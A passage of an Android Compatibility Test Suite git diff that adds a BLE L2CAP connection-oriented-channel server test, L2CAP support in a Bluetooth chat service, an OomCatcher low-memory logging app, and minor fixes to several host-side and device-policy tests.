+ Log.d(TAG, "stopAdvertise");
+ }
+ if (mAdvertiser != null) {
+ mAdvertiser.stopAdvertising(mAdvertiseCallback);
+ }
+ }
+
+ private final AdvertiseCallback mAdvertiseCallback = new AdvertiseCallback(){
+ @Override
+ public void onStartFailure(int errorCode) {
+ // Implementation for API Test.
+ super.onStartFailure(errorCode);
+ if (DEBUG) {
+ Log.d(TAG, "onStartFailure");
+ }
+
+ if (errorCode == ADVERTISE_FAILED_FEATURE_UNSUPPORTED) {
+ notifyAdvertiseUnsupported();
+ } else {
+ notifyOpenFail();
+ }
+ }
+
+ @Override
+ public void onStartSuccess(AdvertiseSettings settingsInEffect) {
+ // Implementation for API Test.
+ super.onStartSuccess(settingsInEffect);
+ if (DEBUG) {
+ Log.d(TAG, "onStartSuccess");
+ }
+ }
+ };
+
+ /*protected*/ static void dumpService(BluetoothGattService service, int level) {
+ String indent = "";
+ for (int i = 0; i < level; ++i) {
+ indent += " ";
+ }
+
+ Log.d(TAG, indent + "[service]");
+ Log.d(TAG, indent + "UUID: " + service.getUuid());
+ Log.d(TAG, indent + " [characteristics]");
+ for (BluetoothGattCharacteristic ch : service.getCharacteristics()) {
+ Log.d(TAG, indent + " UUID: " + ch.getUuid());
+ Log.d(TAG, indent + " properties: "
+ + String.format("0x%02X", ch.getProperties()));
+ Log.d(TAG, indent + " permissions: "
+ + String.format("0x%02X", ch.getPermissions()));
+ Log.d(TAG, indent + " [descriptors]");
+ for (BluetoothGattDescriptor d : ch.getDescriptors()) {
+ Log.d(TAG, indent + " UUID: " + d.getUuid());
+ Log.d(TAG, indent + " permissions: "
+ + String.format("0x%02X", d.getPermissions()));
+ }
+ }
+
+ if (service.getIncludedServices() != null) {
+ Log.d(TAG, indent + " [included services]");
+ for (BluetoothGattService s : service.getIncludedServices()) {
+ dumpService(s, level + 1);
+ }
+ }
+ }
+}
+
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
new file mode 100644
index 0000000..17d1370
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocServerTestBaseActivity.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.util.Log;
+import android.widget.ListView;
+import android.widget.Toast;
+
+public class BleCocServerTestBaseActivity extends PassFailButtons.Activity {
+
+ public static final boolean DEBUG = true;
+ public static final String TAG = "BleCocServerTestBaseActivity";
+
+ private final int TEST_BLE_LE_CONNECTED = 0;
+ private final int TEST_BLE_LISTENER_CREATED = 1;
+ private final int TEST_BLE_PSM_READ = 2;
+ private final int TEST_BLE_COC_CONNECTED = 3;
+ private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 4;
+ private final int TEST_BLE_DATA_8BYTES_READ = 5;
+ private final int TEST_BLE_DATA_8BYTES_SENT = 6;
+ private final int TEST_BLE_DATA_EXCHANGED = 7;
+ private final int TEST_BLE_SERVER_DISCONNECTED = 8;
+ private static final int PASS_FLAG_ALL = 0x01FF;
+
+ private TestAdapter mTestAdapter;
+ private long mPassed;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.ble_server_start);
+ setPassFailButtonClickListeners();
+ setInfoResources(R.string.ble_coc_server_start_name,
+ R.string.ble_server_start_info, -1);
+ getPassButton().setEnabled(false);
+
+ mTestAdapter = new TestAdapter(this, setupTestList());
+ ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+ listView.setAdapter(mTestAdapter);
+
+ mPassed = 0;
+ }
+
+ @Override
+ public void onResume() {
+ super.onResume();
+
+ IntentFilter filter = new IntentFilter();
+
+ filter.addAction(BleCocServerService.BLE_LE_CONNECTED);
+ filter.addAction(BleCocServerService.BLE_COC_LISTENER_CREATED);
+ filter.addAction(BleCocServerService.BLE_PSM_READ);
+ filter.addAction(BleCocServerService.BLE_COC_CONNECTED);
+ filter.addAction(BleCocServerService.BLE_CONNECTION_TYPE_CHECKED);
+ filter.addAction(BleCocServerService.BLE_DATA_8BYTES_READ);
+ filter.addAction(BleCocServerService.BLE_DATA_8BYTES_SENT);
+ filter.addAction(BleCocServerService.BLE_DATA_LARGEBUF_READ);
+
+ filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE);
+ filter.addAction(BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+ filter.addAction(BleCocServerService.BLE_SERVER_DISCONNECTED);
+
+ filter.addAction(BleCocServerService.BLE_BLUETOOTH_DISABLED);
+ filter.addAction(BleCocServerService.BLE_OPEN_FAIL);
+ filter.addAction(BleCocServerService.BLE_ADVERTISE_UNSUPPORTED);
+ filter.addAction(BleCocServerService.BLE_ADD_SERVICE_FAIL);
+
+ registerReceiver(mBroadcast, filter);
+ }
+
+ @Override
+ public void onPause() {
+ super.onPause();
+ unregisterReceiver(mBroadcast);
+ }
+
+ @Override
+ public void onDestroy() {
+ super.onDestroy();
+ }
+
+ private List<Integer> setupTestList() {
+ ArrayList<Integer> testList = new ArrayList<Integer>();
+ testList.add(R.string.ble_coc_server_le_connect);
+ testList.add(R.string.ble_coc_server_create_listener);
+ testList.add(R.string.ble_coc_server_psm_read);
+ testList.add(R.string.ble_coc_server_connection);
+ testList.add(R.string.ble_coc_server_check_connection_type);
+ testList.add(R.string.ble_coc_server_receive_data_8bytes);
+ testList.add(R.string.ble_coc_server_send_data_8bytes);
+ testList.add(R.string.ble_coc_server_data_exchange);
+ testList.add(R.string.ble_server_receiving_disconnect);
+ return testList;
+ }
+
+ private void showErrorDialog(int titleId, int messageId, boolean finish) {
+ AlertDialog.Builder builder = new AlertDialog.Builder(this)
+ .setTitle(titleId)
+ .setMessage(messageId);
+ if (finish) {
+ builder.setOnCancelListener(new Dialog.OnCancelListener() {
+ @Override
+ public void onCancel(DialogInterface dialog) {
+ finish();
+ }
+ });
+ }
+ builder.create().show();
+ }
+
+ private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ String action = intent.getAction();
+ if (DEBUG) {
+ Log.d(TAG, "BroadcastReceiver.onReceive: action=" + action);
+ }
+ String newAction = null;
+ final Intent startIntent = new Intent(BleCocServerTestBaseActivity.this, BleCocServerService.class);
+
+ switch (action) {
+ case BleCocServerService.BLE_BLUETOOTH_DISABLED:
+ showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+ break;
+ case BleCocServerService.BLE_LE_CONNECTED:
+ mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+ mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+ break;
+ case BleCocServerService.BLE_COC_LISTENER_CREATED:
+ mTestAdapter.setTestPass(TEST_BLE_LISTENER_CREATED);
+ mPassed |= (1 << TEST_BLE_LISTENER_CREATED);
+ break;
+ case BleCocServerService.BLE_PSM_READ:
+ mTestAdapter.setTestPass(TEST_BLE_PSM_READ);
+ mPassed |= (1 << TEST_BLE_PSM_READ);
+ break;
+ case BleCocServerService.BLE_COC_CONNECTED:
+ mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+ mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+ break;
+ case BleCocServerService.BLE_CONNECTION_TYPE_CHECKED:
+ mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+ mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+ break;
+ case BleCocServerService.BLE_DATA_8BYTES_READ:
+ mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+ mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+ // send the next action to send 8 bytes
+ newAction = BleCocServerService.BLE_COC_SERVER_ACTION_SEND_DATA_8BYTES;
+ break;
+ case BleCocServerService.BLE_DATA_8BYTES_SENT:
+ mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+ mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+ // send the next action to send 8 bytes
+ newAction = BleCocServerService.BLE_COC_SERVER_ACTION_EXCHANGE_DATA;
+ break;
+ case BleCocServerService.BLE_DATA_LARGEBUF_READ:
+ mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+ mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+ // Disconnect
+ newAction = BleCocServerService.BLE_COC_SERVER_ACTION_DISCONNECT;
+ break;
+ case BleCocServerService.BLE_SERVER_DISCONNECTED:
+ mTestAdapter.setTestPass(TEST_BLE_SERVER_DISCONNECTED);
+ mPassed |= (1 << TEST_BLE_SERVER_DISCONNECTED);
+ // all tests done
+ break;
+ case BleCocServerService.BLE_BLUETOOTH_MISMATCH_SECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+ break;
+ case BleCocServerService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+ showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+ break;
+ case BleCocServerService.BLE_ADVERTISE_UNSUPPORTED:
+ showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);
+ break;
+ case BleCocServerService.BLE_OPEN_FAIL:
+ setTestResultAndFinish(false);
+ runOnUiThread(new Runnable() {
+ @Override
+ public void run() {
+ Toast.makeText(BleCocServerTestBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();
+ }
+ });
+ break;
+ case BleCocServerService.BLE_ADD_SERVICE_FAIL:
+ showErrorDialog(R.string.bt_add_service_failed_title, R.string.bt_add_service_failed_message, true);
+ break;
+ default:
+ if (DEBUG) {
+ Log.d(TAG, "Note: BroadcastReceiver.onReceive: unhandled action=" + action);
+ }
+ }
+
+ mTestAdapter.notifyDataSetChanged();
+
+ if (newAction != null) {
+ Log.d(TAG, "Starting " + newAction);
+ startIntent.setAction(newAction);
+
+ startService(startIntent);
+ }
+
+ if (mPassed == PASS_FLAG_ALL) {
+ Log.d(TAG, "All Tests Passed.");
+ getPassButton().setEnabled(true);
+ }
+ }
+ };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
index 6eb587f..f2be547 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BluetoothChatService.java
@@ -73,6 +73,9 @@
private ConnectThread mConnectThread;
private ConnectedThread mConnectedThread;
private int mState;
+ private boolean mBleTransport;
+ private int mLePsm;
+ private int mSocketConnectionType = -1;
// Constants that indicate the current connection state
public static final int STATE_NONE = 0; // we're doing nothing
@@ -90,6 +93,22 @@
mState = STATE_NONE;
mHandler = handler;
mUuid = uuid;
+ mBleTransport = false;
+ }
+
+ /**
+ * Constructor. Prepares a new BluetoothChat session.
+ * @param context The UI Activity Context
+ * @param handler A Handler to send messages back to the UI Activity
+ * @param useBle A flag to use the BLE transport
+ */
+ public BluetoothChatService(Context context, Handler handler, boolean useBle) {
+ mAdapter = BluetoothAdapter.getDefaultAdapter();
+ mState = STATE_NONE;
+ mHandler = handler;
+ mUuid = null;
+ mBleTransport = useBle;
+ if (D) Log.d(TAG, "Construct BluetoothChatService: useBle=" + useBle);
}
/**
@@ -136,12 +155,47 @@
}
/**
+ * Return the assigned PSM value.
+ */
+ public synchronized int getPsm(boolean secure) {
+ if (secure && mSecureAcceptThread != null) {
+ return mSecureAcceptThread.getPsm();
+ }
+ else if (!secure && mInsecureAcceptThread != null) {
+ return mInsecureAcceptThread.getPsm();
+ }
+ Log.e(TAG, "getPsm: Invalid PSM value");
+ return 0;
+ }
+
+ /**
+ * Return the socket Connection Type.
+ */
+ public synchronized int getSocketConnectionType() {
+ return mSocketConnectionType;
+ }
+
+ /**
* Start the ConnectThread to initiate a connection to a remote device.
- * @param device The BluetoothDevice to connect
+ * @param device The BluetoothDevice to connect to
* @param secure Socket Security type - Secure (true) , Insecure (false)
*/
public synchronized void connect(BluetoothDevice device, boolean secure) {
- if (D) Log.d(TAG, "connect to: " + device);
+ if (!mBleTransport) {
+ connect(device, secure, 0);
+ } else {
+ Log.e(TAG, "connect: Error: LE cannot call this method!");
+ }
+ }
+
+ /**
+ * Start the ConnectThread to initiate a connection to a remote device.
+ * @param device The BluetoothDevice to connect to
+ * @param secure Socket Security type - Secure (true) , Insecure (false)
+ * @param psm Assigned PSM value
+ */
+ public synchronized void connect(BluetoothDevice device, boolean secure, int psm) {
+ if (D) Log.d(TAG, "connect to: " + device + ", psm: " + psm + ", ble: " + mBleTransport);
// Cancel any thread attempting to make a connection
if (mState == STATE_CONNECTING) {
@@ -152,7 +206,7 @@
if (mConnectedThread != null) {mConnectedThread.cancel(); mConnectedThread = null;}
// Start the thread to connect with the given device
- mConnectThread = new ConnectThread(device, secure);
+ mConnectThread = new ConnectThread(device, secure, psm);
mConnectThread.start();
setState(STATE_CONNECTING);
}
@@ -281,15 +335,31 @@
// Create a new listening server socket
try {
- if (secure) {
- tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+ if (mBleTransport) {
+ if (secure) {
+ tmp = mAdapter.listenUsingL2capChannel();
+ } else {
+ tmp = mAdapter.listenUsingInsecureL2capChannel();
+ }
} else {
- tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+ if (secure) {
+ tmp = mAdapter.listenUsingRfcommWithServiceRecord(NAME_SECURE, mUuid);
+ } else {
+ tmp = mAdapter.listenUsingInsecureRfcommWithServiceRecord(NAME_INSECURE, mUuid);
+ }
}
} catch (IOException e) {
- Log.e(TAG, "Socket Type: " + mSocketType + " listen() failed", e);
+ Log.e(TAG, "Socket Type: " + mSocketType + ", le: " + mBleTransport + " listen() failed", e);
}
mmServerSocket = tmp;
+ if (mBleTransport) {
+ // Get the assigned PSM value
+ mLePsm = mmServerSocket.getPsm();
+ }
+ }
+
+ public int getPsm() {
+ return mLePsm;
}
public void run() {
@@ -317,6 +387,7 @@
case STATE_LISTEN:
case STATE_CONNECTING:
// Situation normal. Start the connected thread.
+ mSocketConnectionType = socket.getConnectionType();
connected(socket, socket.getRemoteDevice(),
mSocketType);
break;
@@ -335,8 +406,10 @@
Log.i(TAG, "Got null socket");
}
}
- if (D) Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType);
-
+ if (D) {
+ Log.i(TAG, "END mAcceptThread, socket Type: " + mSocketType
+ + ", SocketConnectionType: " + mSocketConnectionType);
+ }
}
public void cancel() {
@@ -361,26 +434,50 @@
private String mSocketType;
public ConnectThread(BluetoothDevice device, boolean secure) {
+ if (mBleTransport) {
+ Log.e(TAG, "ConnectThread: Error: LE should not call this constructor");
+ }
mmDevice = device;
+ mmSocket = connectThreadCommon(device, secure, 0);
+ }
+
+ public ConnectThread(BluetoothDevice device, boolean secure, int psm) {
+ mmDevice = device;
+ mmSocket = connectThreadCommon(device, secure, psm);
+ }
+
+ private BluetoothSocket connectThreadCommon(BluetoothDevice device, boolean secure, int psm) {
BluetoothSocket tmp = null;
mSocketType = secure ? "Secure" : "Insecure";
// Get a BluetoothSocket for a connection with the
// given BluetoothDevice
try {
- if (secure) {
- tmp = device.createRfcommSocketToServiceRecord(mUuid);
+ if (mBleTransport) {
+ if (secure) {
+ tmp = device.createL2capChannel(psm);
+ } else {
+ tmp = device.createInsecureL2capChannel(psm);
+ }
} else {
- tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+ if (secure) {
+ tmp = device.createRfcommSocketToServiceRecord(mUuid);
+ } else {
+ tmp = device.createInsecureRfcommSocketToServiceRecord(mUuid);
+ }
}
} catch (IOException e) {
Log.e(TAG, "Socket Type: " + mSocketType + "create() failed", e);
}
- mmSocket = tmp;
+
+ mSocketConnectionType = tmp.getConnectionType();
+
+ return tmp;
}
public void run() {
- Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType);
+ Log.i(TAG, "BEGIN mConnectThread SocketType:" + mSocketType
+ + ", mSocketConnectionType: " + mSocketConnectionType);
setName("ConnectThread" + mSocketType);
// Always cancel discovery because it will slow down a connection
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index 1be781b..90f0dc3 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -181,8 +181,7 @@
UserManager.DISALLOW_CONFIG_DATE_TIME,
UserManager.DISALLOW_CONFIG_LOCATION,
UserManager.DISALLOW_CONFIG_SCREEN_TIMEOUT,
- UserManager.DISALLOW_CONFIG_BRIGHTNESS,
- UserManager.DISALLOW_AMBIENT_DISPLAY);
+ UserManager.DISALLOW_CONFIG_BRIGHTNESS);
public static String getRestrictionLabel(Context context, String restriction) {
final UserRestrictionItem item = findRestrictionItem(restriction);
diff --git a/apps/OomCatcher/Android.mk b/apps/OomCatcher/Android.mk
new file mode 100644
index 0000000..7f47e03
--- /dev/null
+++ b/apps/OomCatcher/Android.mk
@@ -0,0 +1,33 @@
+#
+# Copyright (C) 2018 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := optional
+
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := OomCatcher
+
+LOCAL_SDK_VERSION := current
+
+LOCAL_COMPATIBILITY_SUITE := cts sts
+
+include $(BUILD_CTS_PACKAGE)
+
diff --git a/apps/OomCatcher/AndroidManifest.xml b/apps/OomCatcher/AndroidManifest.xml
new file mode 100644
index 0000000..25513e2
--- /dev/null
+++ b/apps/OomCatcher/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2018 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="com.android.cts.oomcatcher"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <application>
+ <activity android:name=".OomCatcher">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
diff --git a/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
new file mode 100644
index 0000000..53ec140
--- /dev/null
+++ b/apps/OomCatcher/src/com/android/cts/oomcatcher/OomCatcher.java
@@ -0,0 +1,103 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.oomcatcher;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.ComponentCallbacks2;
+import android.util.Log;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+/*
+ * An App to report to logcat the lowmemory status. As soon as the app detects low memory, it
+ * immediately reports. In addition, it also reports every second.
+ */
+public class OomCatcher extends Activity implements ComponentCallbacks2 {
+
+ private static final String LOG_TAG = "OomCatcher";
+
+ private AtomicBoolean isOom = new AtomicBoolean(false);
+
+ Thread logThread;
+
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ logThread = new Thread() {
+ @Override
+ public void run() {
+ while (true) {
+ logStatus();
+ try {
+ Thread.sleep(1000); // 1 second
+ } catch (InterruptedException e) {
+ // thread has been killed
+ }
+ }
+ }
+ };
+ logThread.setDaemon(true);
+ logThread.start();
+ }
+
+ public void onDestroy() {
+ if (logThread != null) {
+ logThread.interrupt();
+ }
+ }
+
+ /*
+ * Receive memory callbacks from the Android system. All report low memory except for
+ * TRIM_MEMORY_UI_HIDDEN, which reports when the app is in the background. We don't care about
+ * that, only when the device is at risk of OOMing.
+ *
+ * For all indications of low memory, onLowMemory() is called.
+ */
+ @Override
+ public void onTrimMemory(int level) {
+ switch (level) {
+ case TRIM_MEMORY_COMPLETE:
+ case TRIM_MEMORY_MODERATE:
+ case TRIM_MEMORY_BACKGROUND:
+ case TRIM_MEMORY_RUNNING_CRITICAL:
+ case TRIM_MEMORY_RUNNING_LOW:
+ case TRIM_MEMORY_RUNNING_MODERATE:
+ //fallthrough
+ onLowMemory();
+ break;
+ case TRIM_MEMORY_UI_HIDDEN:
+ default:
+ return;
+ }
+ }
+
+ /*
+ * An earlier API implementation of low memory callbacks. Sets oom status and logs.
+ */
+ @Override
+ public void onLowMemory() {
+ isOom.set(true);
+ logStatus();
+ }
+
+ /*
+ * Log to logcat the current lowmemory status of the app.
+ */
+ private void logStatus() {
+ Log.i(LOG_TAG, isOom.get() ? "Low memory" : "Normal memory");
+ }
+}
diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
index 559380d..6c598ec 100644
--- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
+++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java
@@ -19,6 +19,8 @@
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
+import android.platform.test.annotations.RequiresDevice;
+
import com.android.ddmlib.AdbCommandRejectedException;
import com.android.ddmlib.CollectingOutputReceiver;
import com.android.ddmlib.Log;
@@ -112,6 +114,7 @@
* If device doesn't have native FBE, enable emulation and verify lifecycle.
*/
@Test
+ @RequiresDevice
public void testDirectBootEmulated() throws Exception {
if (!isSupportedDevice()) {
Log.v(TAG, "Device not supported; skipping test");
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
index dc44baf..135a0f7 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/ScopedDirectoryAccessClientTest.java
@@ -353,11 +353,10 @@
final boolean gotIt = mDevice.wait(Until.hasObject(By.text(dir)), TIMEOUT);
assertTrue("object with text'(" + dir + "') not visible yet", gotIt);
// TODO: find a better way to get the toggle rather then getting all
- final List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
- assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
- final UiObject2 toggle = toggles.get(0);
+ UiObject2 toggle = getUniqueToggle();
assertFalse("toggle for '" + dir + "' should not be checked", toggle.isChecked());
toggle.click();
+ toggle = getUniqueToggle();
assertTrue("toggle for '" + dir + "' should be checked", toggle.isChecked());
// Close app screen.
@@ -395,11 +394,10 @@
final boolean gotIt = mDevice.wait(Until.hasObject(By.text(dir)), TIMEOUT);
assertTrue("object with text'(" + dir + "') not visible yet", gotIt);
// TODO: find a better way to get the toggle rather then getting all
- final List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
- assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
- final UiObject2 toggle = toggles.get(0);
+ UiObject2 toggle = getUniqueToggle();
assertTrue("toggle for '" + dir + "' should be checked", toggle.isChecked());
toggle.click();
+ toggle = getUniqueToggle();
assertFalse("toggle for '" + dir + "' should not be checked", toggle.isChecked());
// Close app screen.
@@ -414,6 +412,12 @@
assertActivityFailed();
}
+ private UiObject2 getUniqueToggle() {
+ List<UiObject2> toggles = mDevice.findObjects(By.res("android:id/switch_widget"));
+ assertEquals("should have just one toggle: " + toggles, 1, toggles.size());
+ return toggles.get(0);
+ }
+
private void launchDirectoryAccessSettingsScreenAndSelectApp() {
final Intent intent = new Intent(Settings.ACTION_STORAGE_VOLUME_ACCESS_SETTINGS)
.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK );
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
index 42eab56..0d37457 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAdminHostSideTestApi29.java
@@ -42,4 +42,13 @@
public void testResetPassword_nycRestrictions() throws Exception {
return;
}
+
+ /**
+ * This test is no longer relevant since resetPassword() was deprecated in version 26.
+ * Device Owner functionality is now tested in DeviceAndProfileOwnerTest.
+ */
+ @Override
+ public void testRunDeviceOwnerPasswordTest() throws Exception {
+ return;
+ }
}
diff --git a/hostsidetests/os/src/android/os/cts/PowerManagerTests.java b/hostsidetests/os/src/android/os/cts/PowerManagerTests.java
new file mode 100644
index 0000000..d0f4413
--- /dev/null
+++ b/hostsidetests/os/src/android/os/cts/PowerManagerTests.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.assertFalse;
+
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import java.util.regex.Pattern;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class PowerManagerTests extends BaseHostJUnit4Test {
+ // We need a running test app to test cached processes releasing wake locks.
+ private static final String PACKAGE_NAME = "android.os.powermanagertests";
+ private static final String APK_NAME = "CtsHostPowerManagerTestApp.apk";
+ private static final String WAKE_LOCK = "WakeLockTest";
+
+ private static final String CHECK_CACHED_CMD = "dumpsys activity processes";
+ private static final String CACHED_REGEXP = "Proc # [0-9]+: cch.*" + PACKAGE_NAME;
+ private static final Pattern CACHED_PATTERN = Pattern.compile(CACHED_REGEXP);
+
+ private static final String GET_WAKE_LOCKS_CMD = "dumpsys power";
+ private static final String WAKE_LOCK_ACQUIRED_REGEXP =
+ "PARTIAL_WAKE_LOCK.*" + WAKE_LOCK + ".*ACQ";
+ private static final String WAKE_LOCK_DISABLED_REGEXP =
+ "PARTIAL_WAKE_LOCK.*" + WAKE_LOCK + ".*DISABLED";
+ private static final Pattern WAKE_LOCK_ACQUIRED_PATTERN =
+ Pattern.compile(WAKE_LOCK_ACQUIRED_REGEXP);
+ private static final Pattern WAKE_LOCK_DISABLED_PATTERN =
+ Pattern.compile(WAKE_LOCK_DISABLED_REGEXP);
+
+ // A reference to the device under test, which gives us a handle to run commands.
+ private ITestDevice mDevice;
+
+ @Before
+ public synchronized void setUp() throws Exception {
+ mDevice = getDevice();
